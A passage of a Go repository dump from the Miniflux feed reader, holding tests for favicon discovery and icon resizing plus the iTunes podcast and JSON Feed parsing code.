href=\"/favicon3.ico\">\n\t<link rel=\"Shortcut Icon\" href=\"/favicon4.ico\">\n\t<link rel=\"ICON SHORTCUT\" href=\"/favicon5.ico\">\n\t<link rel=\"Icon Shortcut\" href=\"favicon6.ico\">\n</head>\n</html>`\n\n\ticonURLs, err := findIconURLsFromHTMLDocument(\"https://example.org/folder/\", strings.NewReader(html), \"text/html\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\texpected := []string{\n\t\t\"https://example.org/favicon1.ico\",\n\t\t\"https://example.org/favicon2.ico\",\n\t\t\"https://example.org/favicon3.ico\",\n\t\t\"https://example.org/favicon4.ico\",\n\t\t\"https://example.org/favicon5.ico\",\n\t\t\"https://example.org/folder/favicon6.ico\",\n\t}\n\n\tif len(iconURLs) != len(expected) {\n\t\tt.Fatalf(\"Expected %d icon URLs, got %d\", len(expected), len(iconURLs))\n\t}\n\n\tfor i, expectedURL := range expected {\n\t\tif iconURLs[i] != expectedURL {\n\t\t\tt.Errorf(\"Expected icon URL %d to be %q, got %q\", i, expectedURL, iconURLs[i])\n\t\t}\n\t}\n}\n\nfunc TestFindIconURLsFromHTMLDocument_NoIcons(t *testing.T) {\n\thtml := `<!DOCTYPE html>\n<html>\n<head>\n\t<title>No Icons Here</title>\n\t<link rel=\"stylesheet\" href=\"/style.css\">\n\t<link rel=\"canonical\" href=\"https://example.com\">\n</head>\n</html>`\n\n\ticonURLs, err := findIconURLsFromHTMLDocument(\"https://example.org\", strings.NewReader(html), \"text/html\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif len(iconURLs) != 0 {\n\t\tt.Fatalf(\"Expected 0 icon URLs, got %d: %v\", len(iconURLs), iconURLs)\n\t}\n}\n\nfunc TestFindIconURLsFromHTMLDocument_EmptyHref(t *testing.T) {\n\thtml := `<!DOCTYPE html>\n<html>\n<head>\n\t<link rel=\"icon\" href=\"\">\n\t<link rel=\"icon\" href=\"   \">\n\t<link rel=\"icon\">\n\t<link rel=\"shortcut icon\" href=\"/valid-icon.ico\">\n</head>\n</html>`\n\n\ticonURLs, err := findIconURLsFromHTMLDocument(\"https://example.org\", strings.NewReader(html), \"text/html\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\texpected := []string{\"https://example.org/valid-icon.ico\"}\n\n\tif len(iconURLs) != len(expected) {\n\t\tt.Fatalf(\"Expected %d icon URLs, got %d\", len(expected), len(iconURLs))\n\t}\n\n\tif iconURLs[0] != expected[0] {\n\t\tt.Errorf(\"Expected icon URL to be %q, got %q\", expected[0], iconURLs[0])\n\t}\n}\n\nfunc TestFindIconURLsFromHTMLDocument_DataURLs(t *testing.T) {\n\thtml := `<!DOCTYPE html>\n<html>\n<head>\n\t<link rel=\"icon\" href=\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mNkYPhfDwAChAGAhGAQ+QAAAABJRU5ErkJggg==\">\n\t<link rel=\"shortcut icon\" href=\"data:image/svg+xml,<svg xmlns='http://www.w3.org/2000/svg'></svg>\">\n\t<link rel=\"icon\" href=\"/regular-icon.ico\">\n</head>\n</html>`\n\n\ticonURLs, err := findIconURLsFromHTMLDocument(\"https://example.org/folder\", strings.NewReader(html), \"text/html\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\texpected := []string{\n\t\t\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mNkYPhfDwAChAGAhGAQ+QAAAABJRU5ErkJggg==\",\n\t\t\"data:image/svg+xml,<svg xmlns='http://www.w3.org/2000/svg'></svg>\",\n\t\t\"https://example.org/regular-icon.ico\",\n\t}\n\n\tif len(iconURLs) != len(expected) {\n\t\tt.Fatalf(\"Expected %d icon URLs, got %d\", len(expected), len(iconURLs))\n\t}\n\n\tfor i, expectedURL := range expected {\n\t\tif iconURLs[i] != expectedURL {\n\t\t\tt.Errorf(\"Expected icon URL %d to be %q, got %q\", i, expectedURL, iconURLs[i])\n\t\t}\n\t}\n}\n\nfunc TestFindIconURLsFromHTMLDocument_RelativeAndAbsoluteURLs(t *testing.T) {\n\thtml := `<!DOCTYPE html>\n<html>\n<head>\n\t<link rel=\"icon\" href=\"/absolute-path.ico\">\n\t<link rel=\"icon\" href=\"relative-path.ico\">\n\t<link rel=\"icon\" href=\"../parent-dir.ico\">\n\t<link rel=\"icon\" href=\"https://example.com/external.ico\">\n\t<link rel=\"icon\" href=\"//cdn.example.com/protocol-relative.ico\">\n</head>\n</html>`\n\n\ticonURLs, err := findIconURLsFromHTMLDocument(\"https://example.org/folder/\", strings.NewReader(html), \"text/html\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\texpected := []string{\n\t\t\"https://example.org/absolute-path.ico\",\n\t\t\"https://example.org/folder/relative-path.ico\",\n\t\t\"https://example.org/parent-dir.ico\",\n\t\t\"https://example.com/external.ico\",\n\t\t\"https://cdn.example.com/protocol-relative.ico\",\n\t}\n\n\tif len(iconURLs) != len(expected) {\n\t\tt.Fatalf(\"Expected %d icon URLs, got %d\", len(expected), len(iconURLs))\n\t}\n\n\tfor i, expectedURL := range expected {\n\t\tif iconURLs[i] != expectedURL {\n\t\t\tt.Errorf(\"Expected icon URL %d to be %q, got %q\", i, expectedURL, iconURLs[i])\n\t\t}\n\t}\n}\n\nfunc TestFindIconURLsFromHTMLDocument_InvalidHTML(t *testing.T) {\n\thtml := `<!DOCTYPE html>\n<html>\n<head>\n\t<link rel=\"icon\" href=\"/valid-before-error.ico\">\n\t<link rel=\"icon\" href=\"/unclosed-tag.ico\"\n\t<link rel=\"shortcut icon\" href=\"/valid-after-error.ico\">\n</head>\n</html>`\n\n\ticonURLs, err := findIconURLsFromHTMLDocument(\"https://example.org\", strings.NewReader(html), \"text/html\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\t// goquery should handle malformed HTML gracefully\n\tif len(iconURLs) == 0 {\n\t\tt.Fatal(\"Expected to find some icon URLs even with malformed HTML\")\n\t}\n\n\t// Should at least find the valid ones\n\tfoundValidIcon := false\n\tfor _, url := range iconURLs {\n\t\tif url == \"https://example.org/valid-before-error.ico\" || url == \"https://example.org/valid-after-error.ico\" {\n\t\t\tfoundValidIcon = true\n\t\t\tbreak\n\t\t}\n\t}\n\n\tif !foundValidIcon {\n\t\tt.Errorf(\"Expected to find at least one valid icon URL, got: %v\", iconURLs)\n\t}\n}\n\nfunc TestFindIconURLsFromHTMLDocument_EmptyDocument(t *testing.T) {\n\ticonURLs, err := findIconURLsFromHTMLDocument(\"https://example.org\", strings.NewReader(\"\"), \"text/html\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif len(iconURLs) != 0 {\n\t\tt.Fatalf(\"Expected 0 icon URLs from empty document, got %d\", len(iconURLs))\n\t}\n}\n\nfunc TestResizeIconSmallGif(t *testing.T) {\n\tdata, err := base64.StdEncoding.DecodeString(\"R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\ticon := model.Icon{\n\t\tContent:  data,\n\t\tMimeType: \"image/gif\",\n\t}\n\tif !bytes.Equal(icon.Content, resizeIcon(&icon).Content) {\n\t\tt.Fatalf(\"Converted gif smaller than 16x16\")\n\t}\n}\n\nfunc TestResizeIconPng(t *testing.T) {\n\tdata, err := base64.StdEncoding.DecodeString(\"iVBORw0KGgoAAAANSUhEUgAAACEAAAAhCAYAAABX5MJvAAAALUlEQVR42u3OMQEAAAgDoJnc6BpjDyRgcrcpGwkJCQkJCQkJCQkJCQkJCYmyB7NfUj/Kk4FkAAAAAElFTkSuQmCC\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\ticon := model.Icon{\n\t\tContent:  data,\n\t\tMimeType: \"image/png\",\n\t}\n\tresizedIcon := resizeIcon(&icon)\n\n\tif bytes.Equal(data, resizedIcon.Content) {\n\t\tt.Fatalf(\"Didn't convert png of 33x33\")\n\t}\n\n\tconfig, _, err := image.DecodeConfig(bytes.NewReader(resizedIcon.Content))\n\tif err != nil {\n\t\tt.Fatalf(\"Couln't decode resulting png: %v\", err)\n\t}\n\n\tif config.Height != 32 || config.Width != 32 {\n\t\tt.Fatalf(\"Was expecting an image of 16x16, got %dx%d\", config.Width, config.Height)\n\t}\n}\n\nfunc TestResizeIconWebp(t *testing.T) {\n\tdata, err := base64.StdEncoding.DecodeString(\"UklGRkAAAABXRUJQVlA4IDQAAADwAQCdASoBAAEAAQAcJaACdLoB+AAETAAA/vW4f/6aR40jxpHxcP/ugT90CfugT/3NoAAA\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\ticon := model.Icon{\n\t\tContent:  data,\n\t\tMimeType: \"image/webp\",\n\t}\n\n\tif !bytes.Equal(icon.Content, resizeIcon(&icon).Content) {\n\t\tt.Fatalf(\"Converted webp smaller than 16x16\")\n\t}\n}\n\nfunc TestResizeInvalidImage(t *testing.T) {\n\ticon := model.Icon{\n\t\tContent:  []byte(\"invalid data\"),\n\t\tMimeType: \"image/gif\",\n\t}\n\tif !bytes.Equal(icon.Content, resizeIcon(&icon).Content) {\n\t\tt.Fatalf(\"Tried to convert an invalid image\")\n\t}\n}\n\nfunc TestResizeIconTooLargeDimensions(t *testing.T) {\n\ticon := model.Icon{\n\t\tContent:  mustMinimalPNG(t, 4097, 7),\n\t\tMimeType: \"image/png\",\n\t}\n\n\tif resizeIcon(&icon) != nil {\n\t\tt.Fatalf(\"Should reject images with too large dimensions\")\n\t}\n}\n\nfunc TestResizeIconTooLargePixelCount(t *testing.T) {\n\ticon := model.Icon{\n\t\tContent:  mustMinimalPNG(t, 4096, 4097),\n\t\tMimeType: \"image/png\",\n\t}\n\n\tif resizeIcon(&icon) != nil {\n\t\tt.Fatalf(\"Should reject images with too many pixels\")\n\t}\n}\n\nfunc TestMinifySvg(t *testing.T) {\n\tdata := []byte(`<svg path d=\" M1 4h-.001 V1h2v.001 M1 2.6 h1v.001\"/></svg>`)\n\twant := []byte(`<svg path=\"\" d=\"M1 4H.999V1h2v.001M1 2.6h1v.001\"/></svg>`)\n\ticon := model.Icon{Content: data, MimeType: \"image/svg+xml\"}\n\tgot := resizeIcon(&icon).Content\n\tif !bytes.Equal(want, got) {\n\t\tt.Fatalf(\"Didn't correctly minify the svg: got %s instead of %s\", got, want)\n\t}\n}\n\nfunc TestMinifySvgWithError(t *testing.T) {\n\t// Invalid SVG with malformed XML that should cause minification to fail\n\tdata := []byte(`<svg><><invalid-tag<>unclosed`)\n\toriginal := make([]byte, len(data))\n\tcopy(original, data)\n\n\ticon := model.Icon{\n\t\tContent:  data,\n\t\tMimeType: \"image/svg+xml\",\n\t}\n\n\tresult := resizeIcon(&icon)\n\n\t// When minification fails, the original content should be preserved\n\tif !bytes.Equal(original, result.Content) {\n\t\tt.Fatalf(\"Expected original content to be preserved on minification error, got %s instead of %s\", result.Content, original)\n\t}\n\n\t// MimeType should remain unchanged\n\tif result.MimeType != \"image/svg+xml\" {\n\t\tt.Fatalf(\"Expected MimeType to remain image/svg+xml, got %s\", result.MimeType)\n\t}\n}\n\nfunc mustMinimalPNG(t *testing.T, width, height uint32) []byte {\n\tt.Helper()\n\n\tvar b bytes.Buffer\n\tb.Write([]byte{137, 80, 78, 71, 13, 10, 26, 10})\n\twritePNGChunk(t, &b, \"IHDR\", func(data []byte) {\n\t\tbinary.BigEndian.PutUint32(data[0:4], width)\n\t\tbinary.BigEndian.PutUint32(data[4:8], height)\n\t\tdata[8] = 8\n\t\tdata[9] = 2\n\t})\n\twritePNGChunk(t, &b, \"IEND\", nil)\n\n\treturn b.Bytes()\n}\n\nfunc writePNGChunk(t *testing.T, b *bytes.Buffer, chunkType string, fill func([]byte)) {\n\tt.Helper()\n\n\tdataLen := 0\n\tif chunkType == \"IHDR\" {\n\t\tdataLen = 13\n\t}\n\n\tif err := binary.Write(b, binary.BigEndian, uint32(dataLen)); err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif _, err := b.WriteString(chunkType); err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tdata := make([]byte, dataLen)\n\tif fill != nil {\n\t\tfill(data)\n\t}\n\tif _, err := b.Write(data); err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tcrc := crc32.NewIEEE()\n\tif _, err := crc.Write([]byte(chunkType)); err != nil {\n\t\tt.Fatal(err)\n\t}\n\tif _, err := crc.Write(data); err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif err := binary.Write(b, binary.BigEndian, crc.Sum32()); err != nil {\n\t\tt.Fatal(err)\n\t}\n}\n"
  },
  {
    "path": "internal/reader/itunes/itunes.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage itunes // import \"miniflux.app/v2/internal/reader/itunes\"\n\nimport \"strings\"\n\n// Specs: https://help.apple.com/itc/podcasts_connect/#/itcb54353390\ntype ItunesChannelElement struct {\n\tItunesAuthor     string                  `xml:\"http://www.itunes.com/dtds/podcast-1.0.dtd author\"`\n\tItunesBlock      string                  `xml:\"http://www.itunes.com/dtds/podcast-1.0.dtd block\"`\n\tItunesCategories []ItunesCategoryElement `xml:\"http://www.itunes.com/dtds/podcast-1.0.dtd category\"`\n\tItunesComplete   string                  `xml:\"http://www.itunes.com/dtds/podcast-1.0.dtd complete\"`\n\tItunesCopyright  string                  `xml:\"http://www.itunes.com/dtds/podcast-1.0.dtd copyright\"`\n\tItunesExplicit   string                  `xml:\"http://www.itunes.com/dtds/podcast-1.0.dtd explicit\"`\n\tItunesImage      ItunesImageElement      `xml:\"http://www.itunes.com/dtds/podcast-1.0.dtd image\"`\n\tKeywords         string                  `xml:\"http://www.itunes.com/dtds/podcast-1.0.dtd keywords\"`\n\tItunesNewFeedURL string                  `xml:\"http://www.itunes.com/dtds/podcast-1.0.dtd new-feed-url\"`\n\tItunesOwner      ItunesOwnerElement      `xml:\"http://www.itunes.com/dtds/podcast-1.0.dtd owner\"`\n\tItunesSummary    string                  `xml:\"http://www.itunes.com/dtds/podcast-1.0.dtd summary\"`\n\tItunesTitle      string                  `xml:\"http://www.itunes.com/dtds/podcast-1.0.dtd title\"`\n\tItunesType       string                  `xml:\"http://www.itunes.com/dtds/podcast-1.0.dtd type\"`\n}\n\nfunc (i *ItunesChannelElement) GetItunesCategories() []string {\n\tcategories := make([]string, 0, len(i.ItunesCategories))\n\tfor _, category := range i.ItunesCategories {\n\t\tcategories = append(categories, category.Text)\n\t\tif category.SubCategory != nil {\n\t\t\tcategories = append(categories, category.SubCategory.Text)\n\t\t}\n\t}\n\treturn categories\n}\n\ntype ItunesItemElement struct {\n\tItunesAuthor      string             `xml:\"http://www.itunes.com/dtds/podcast-1.0.dtd author\"`\n\tItunesEpisode     string             `xml:\"http://www.itunes.com/dtds/podcast-1.0.dtd episode\"`\n\tItunesEpisodeType string             `xml:\"http://www.itunes.com/dtds/podcast-1.0.dtd episodeType\"`\n\tItunesExplicit    string             `xml:\"http://www.itunes.com/dtds/podcast-1.0.dtd explicit\"`\n\tItunesDuration    string             `xml:\"http://www.itunes.com/dtds/podcast-1.0.dtd duration\"`\n\tItunesImage       ItunesImageElement `xml:\"http://www.itunes.com/dtds/podcast-1.0.dtd image\"`\n\tItunesSeason      string             `xml:\"http://www.itunes.com/dtds/podcast-1.0.dtd season\"`\n\tItunesSubtitle    string             `xml:\"http://www.itunes.com/dtds/podcast-1.0.dtd subtitle\"`\n\tItunesSummary     string             `xml:\"http://www.itunes.com/dtds/podcast-1.0.dtd summary\"`\n\tItunesTitle       string             `xml:\"http://www.itunes.com/dtds/podcast-1.0.dtd title\"`\n\tItunesTranscript  string             `xml:\"http://www.itunes.com/dtds/podcast-1.0.dtd transcript\"`\n}\n\ntype ItunesImageElement struct {\n\tHref string `xml:\"href,attr\"`\n}\n\ntype ItunesCategoryElement struct {\n\tText        string                 `xml:\"text,attr\"`\n\tSubCategory *ItunesCategoryElement `xml:\"http://www.itunes.com/dtds/podcast-1.0.dtd category\"`\n}\n\ntype ItunesOwnerElement struct {\n\tName  string `xml:\"name\"`\n\tEmail string `xml:\"email\"`\n}\n\nfunc (i *ItunesOwnerElement) String() string {\n\tvar name string\n\n\tswitch {\n\tcase i.Name != \"\":\n\t\tname = i.Name\n\tcase i.Email != \"\":\n\t\tname = i.Email\n\t}\n\n\treturn strings.TrimSpace(name)\n}\n"
  },
  {
    "path": "internal/reader/json/adapter.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage json // import \"miniflux.app/v2/internal/reader/json\"\n\nimport (\n\t\"log/slog\"\n\t\"slices\"\n\t\"strings\"\n\t\"time\"\n\n\t\"miniflux.app/v2/internal/crypto\"\n\t\"miniflux.app/v2/internal/model\"\n\t\"miniflux.app/v2/internal/reader/date\"\n\t\"miniflux.app/v2/internal/reader/sanitizer\"\n\t\"miniflux.app/v2/internal/urllib\"\n)\n\ntype JSONAdapter struct {\n\tjsonFeed *JSONFeed\n}\n\nfunc NewJSONAdapter(jsonFeed *JSONFeed) *JSONAdapter {\n\treturn &JSONAdapter{jsonFeed}\n}\n\nfunc (j *JSONAdapter) BuildFeed(baseURL string) *model.Feed {\n\tfeed := &model.Feed{\n\t\tTitle:       strings.TrimSpace(j.jsonFeed.Title),\n\t\tFeedURL:     strings.TrimSpace(j.jsonFeed.FeedURL),\n\t\tSiteURL:     strings.TrimSpace(j.jsonFeed.HomePageURL),\n\t\tDescription: strings.TrimSpace(j.jsonFeed.Description),\n\t}\n\n\tif feed.FeedURL == \"\" {\n\t\tfeed.FeedURL = strings.TrimSpace(baseURL)\n\t}\n\n\t// Fallback to the feed URL if the site URL is empty.\n\tif feed.SiteURL == \"\" {\n\t\tfeed.SiteURL = feed.FeedURL\n\t}\n\n\tif feedURL, err := urllib.ResolveToAbsoluteURL(baseURL, feed.FeedURL); err == nil {\n\t\tfeed.FeedURL = feedURL\n\t}\n\n\tif siteURL, err := urllib.ResolveToAbsoluteURL(baseURL, feed.SiteURL); err == nil {\n\t\tfeed.SiteURL = siteURL\n\t}\n\n\t// Fallback to the feed URL if the title is empty.\n\tif feed.Title == \"\" {\n\t\tfeed.Title = feed.SiteURL\n\t}\n\n\t// Populate the icon URL if present.\n\tfor _, iconURL := range []string{j.jsonFeed.FaviconURL, j.jsonFeed.IconURL} {\n\t\ticonURL = strings.TrimSpace(iconURL)\n\t\tif iconURL != \"\" {\n\t\t\tif absoluteIconURL, err := urllib.ResolveToAbsoluteURL(feed.SiteURL, iconURL); err == nil {\n\t\t\t\tfeed.IconURL = absoluteIconURL\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t}\n\n\tfor _, item := range j.jsonFeed.Items {\n\t\tentry := model.NewEntry()\n\t\tentry.Title = strings.TrimSpace(item.Title)\n\n\t\tfor _, itemURL := range []string{item.URL, item.ExternalURL} {\n\t\t\titemURL = strings.TrimSpace(itemURL)\n\t\t\tif itemURL != \"\" {\n\t\t\t\t// Make sure the entry URL is absolute.\n\t\t\t\tif entryURL, err := urllib.ResolveToAbsoluteURL(feed.SiteURL, itemURL); err == nil {\n\t\t\t\t\tentry.URL = entryURL\n\t\t\t\t}\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\n\t\t// The entry title is optional, so we need to find a fallback.\n\t\tif entry.Title == \"\" {\n\t\t\tfor _, value := range []string{item.Summary, item.ContentText, item.ContentHTML} {\n\t\t\t\tvalue = strings.TrimSpace(value)\n\t\t\t\tif value != \"\" {\n\t\t\t\t\tentry.Title = sanitizer.TruncateHTML(value, 100)\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t// Fallback to the entry URL if the title is empty.\n\t\tif entry.Title == \"\" {\n\t\t\tentry.Title = entry.URL\n\t\t}\n\n\t\t// Populate the entry content.\n\t\tfor _, value := range []string{item.ContentHTML, item.ContentText, item.Summary} {\n\t\t\tvalue = strings.TrimSpace(value)\n\t\t\tif value != \"\" {\n\t\t\t\tentry.Content = value\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\n\t\t// Populate the entry date.\n\t\tfor _, value := range []string{item.DatePublished, item.DateModified} {\n\t\t\tvalue = strings.TrimSpace(value)\n\t\t\tif value != \"\" {\n\t\t\t\tif date, err := date.Parse(value); err != nil {\n\t\t\t\t\tslog.Debug(\"Unable to parse date from JSON feed\",\n\t\t\t\t\t\tslog.String(\"date\", value),\n\t\t\t\t\t\tslog.String(\"url\", entry.URL),\n\t\t\t\t\t\tslog.Any(\"error\", err),\n\t\t\t\t\t)\n\t\t\t\t} else {\n\t\t\t\t\tentry.Date = date\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tif entry.Date.IsZero() {\n\t\t\tentry.Date = time.Now()\n\t\t}\n\n\t\t// Populate the entry author.\n\t\titemAuthors := j.jsonFeed.Authors\n\t\titemAuthors = append(itemAuthors, item.Authors...)\n\t\titemAuthors = append(itemAuthors, item.Author, j.jsonFeed.Author)\n\n\t\tvar authorNames []string\n\t\tfor _, author := range itemAuthors {\n\t\t\tauthorName := strings.TrimSpace(author.Name)\n\t\t\tif authorName != \"\" {\n\t\t\t\tauthorNames = append(authorNames, authorName)\n\t\t\t}\n\t\t}\n\n\t\tslices.Sort(authorNames)\n\t\tauthorNames = slices.Compact(authorNames)\n\t\tentry.Author = strings.Join(authorNames, \", \")\n\n\t\t// Populate the entry enclosures.\n\t\tfor _, attachment := range item.Attachments {\n\t\t\tattachmentURL := strings.TrimSpace(attachment.URL)\n\t\t\tif attachmentURL != \"\" {\n\t\t\t\tif absoluteAttachmentURL, err := urllib.ResolveToAbsoluteURL(feed.SiteURL, attachmentURL); err == nil {\n\t\t\t\t\tentry.Enclosures = append(entry.Enclosures, &model.Enclosure{\n\t\t\t\t\t\tURL:      absoluteAttachmentURL,\n\t\t\t\t\t\tMimeType: attachment.MimeType,\n\t\t\t\t\t\tSize:     attachment.Size,\n\t\t\t\t\t})\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t// Populate the entry tags.\n\t\tfor _, tag := range item.Tags {\n\t\t\ttag = strings.TrimSpace(tag)\n\t\t\tif tag != \"\" {\n\t\t\t\tentry.Tags = append(entry.Tags, tag)\n\t\t\t}\n\t\t}\n\n\t\t// Sort and deduplicate tags.\n\t\tslices.Sort(entry.Tags)\n\t\tentry.Tags = slices.Compact(entry.Tags)\n\n\t\t// Generate a hash for the entry.\n\t\tfor _, value := range []string{item.ID, item.URL, item.ExternalURL, item.ContentText + item.ContentHTML + item.Summary} {\n\t\t\tvalue = strings.TrimSpace(value)\n\t\t\tif value != \"\" {\n\t\t\t\tentry.Hash = crypto.SHA256(value)\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\n\t\tfeed.Entries = append(feed.Entries, entry)\n\t}\n\n\treturn feed\n}\n"
  },
  {
    "path": "internal/reader/json/json.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage json // import \"miniflux.app/v2/internal/reader/json\"\n\nimport \"encoding/json\"\n\n// JSON Feed specs:\n// https://www.jsonfeed.org/version/1.1/\n// https://www.jsonfeed.org/version/1/\ntype JSONFeed struct {\n\t// Version is the URL of the version of the format the feed uses.\n\t// This should appear at the very top, though we recognize that not all JSON generators allow for ordering.\n\tVersion string `json:\"version\"`\n\n\t// Title is the name of the feed, which will often correspond to the name of the website.\n\tTitle string `json:\"title\"`\n\n\t// HomePageURL  is the URL of the resource that the feed describes.\n\t// This resource may or may not actually be a “home” page, but it should be an HTML page.\n\tHomePageURL string `json:\"home_page_url\"`\n\n\t// FeedURL is the URL of the feed, and serves as the unique identifier for the feed.\n\tFeedURL string `json:\"feed_url\"`\n\n\t// Description provides more detail, beyond the title, on what the feed is about.\n\tDescription string `json:\"description\"`\n\n\t// IconURL is the URL of an image for the feed suitable to be used in a timeline, much the way an avatar might be used.\n\tIconURL string `json:\"icon\"`\n\n\t// FaviconURL is the URL of an image for the feed suitable to be used in a source list. It should be square and relatively small.\n\tFaviconURL string `json:\"favicon\"`\n\n\t// Authors specifies one or more feed authors. The author object has several members.\n\tAuthors JSONAuthors `json:\"authors\"` // JSON Feed v1.1\n\n\t// Author specifies the feed author. The author object has several members.\n\t// JSON Feed v1 (deprecated)\n\tAuthor JSONAuthor `json:\"author\"`\n\n\t// Language is the primary language for the feed in the format specified in RFC 5646.\n\t// The value is usually a 2-letter language tag from ISO 639-1, optionally followed by a region tag. (Examples: en or en-US.)\n\tLanguage string `json:\"language\"`\n\n\t// Expired is a boolean value that specifies whether or not the feed is finished.\n\tExpired bool `json:\"expired\"`\n\n\t// Items is an array, each representing an individual item in the feed.\n\tItems []JSONItem `json:\"items\"`\n\n\t// Hubs  describes endpoints that can be used to subscribe to real-time notifications from the publisher of this feed.\n\tHubs []JSONHub `json:\"hubs\"`\n}\n\ntype JSONAuthor struct {\n\t// Author's name.\n\tName string `json:\"name\"`\n\n\t// Author's website URL (Blog or micro-blog).\n\tWebsiteURL string `json:\"url\"`\n\n\t// Author's avatar URL.\n\tAvatarURL string `json:\"avatar\"`\n}\n\n// JSONAuthors unmarshals either an array or a single author object.\n// Some feeds incorrectly use an object for \"authors\"; we accept it to avoid failing the whole feed.\ntype JSONAuthors []JSONAuthor\n\nfunc (a *JSONAuthors) UnmarshalJSON(data []byte) error {\n\tvar authors []JSONAuthor\n\tif err := json.Unmarshal(data, &authors); err == nil {\n\t\t*a = authors\n\t\treturn nil\n\t}\n\n\tvar author JSONAuthor\n\tif err := json.Unmarshal(data, &author); err == nil {\n\t\t*a = []JSONAuthor{author}\n\t\treturn nil\n\t}\n\n\t// Ignore invalid formats silently; the caller can still use other fields.\n\treturn nil\n}\n\ntype JSONHub struct {\n\t// Type defines the protocol used to talk with the hub: \"rssCloud\" or \"WebSub\".\n\tType string `json:\"type\"`\n\n\t// URL is the location of the hub.\n\tURL string `json:\"url\"`\n}\n\ntype JSONItem struct {\n\t// Unique identifier for the item.\n\t// Ideally, the id is the full URL of the resource described by the item, since URLs make great unique identifiers.\n\tID string `json:\"id\"`\n\n\t// URL of the resource described by the item.\n\tURL string `json:\"url\"`\n\n\t// ExternalURL is the URL of a page elsewhere.\n\t// This is especially useful for linkblogs.\n\t// If url links to where you’re talking about a thing, then external_url links to the thing you’re talking about.\n\tExternalURL string `json:\"external_url\"`\n\n\t// Title of the item (optional).\n\t// Microblog items in particular may omit titles.\n\tTitle string `json:\"title\"`\n\n\t// ContentHTML is the HTML body of the item.\n\tContentHTML string `json:\"content_html\"`\n\n\t// ContentText is the text body of the item.\n\tContentText string `json:\"content_text\"`\n\n\t// Summary is a plain text sentence or two describing the item.\n\tSummary string `json:\"summary\"`\n\n\t// ImageURL is the URL of the main image for the item.\n\tImageURL string `json:\"image\"`\n\n\t// BannerImageURL is the URL of an image to use as a banner.\n\tBannerImageURL string `json:\"banner_image\"`\n\n\t// DatePublished is the date the item was published.\n\tDatePublished string `json:\"date_published\"`\n\n\t// DateModified is the date the item was modified.\n\tDateModified string `json:\"date_modified\"`\n\n\t// Language is the language of the item.\n\tLanguage string `json:\"language\"`\n\n\t// Authors is an array of JSONAuthor.\n\tAuthors JSONAuthors `json:\"authors\"`\n\n\t// Author is a JSONAuthor.\n\t// JSON Feed v1 (deprecated)\n\tAuthor JSONAuthor `json:\"author\"`\n\n\t// Tags is an array of strings.\n\tTags []string `json:\"tags\"`\n\n\t// Attachments is an array of JSONAttachment.\n\tAttachments []JSONAttachment `json:\"attachments\"`\n}\n\ntype JSONAttachment struct {\n\t// URL of the attachment.\n\tURL string `json:\"url\"`\n\n\t// MIME type of the attachment.\n\tMimeType string `json:\"mime_type\"`\n\n\t// Title of the attachment.\n\tTitle string `json:\"title\"`\n\n\t// Size of the attachment in bytes.\n\tSize int64 `json:\"size_in_bytes\"`\n\n\t// Duration of the attachment in seconds.\n\tDuration int `json:\"duration_in_seconds\"`\n}\n"
  },
  {
    "path": "internal/reader/json/parser.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage json // import \"miniflux.app/v2/internal/reader/json\"\n\nimport (\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"io\"\n\n\t\"miniflux.app/v2/internal/model\"\n)\n\n// Parse returns a normalized feed struct from a JSON feed.\nfunc Parse(baseURL string, data io.Reader) (*model.Feed, error) {\n\tjsonFeed := new(JSONFeed)\n\tif err := json.NewDecoder(data).Decode(jsonFeed); err != nil {\n\t\treturn nil, fmt.Errorf(\"json: unable to parse feed: %w\", err)\n\t}\n\n\treturn NewJSONAdapter(jsonFeed).BuildFeed(baseURL), nil\n}\n"
  },
  {
    "path": "internal/reader/json/parser_test.go",
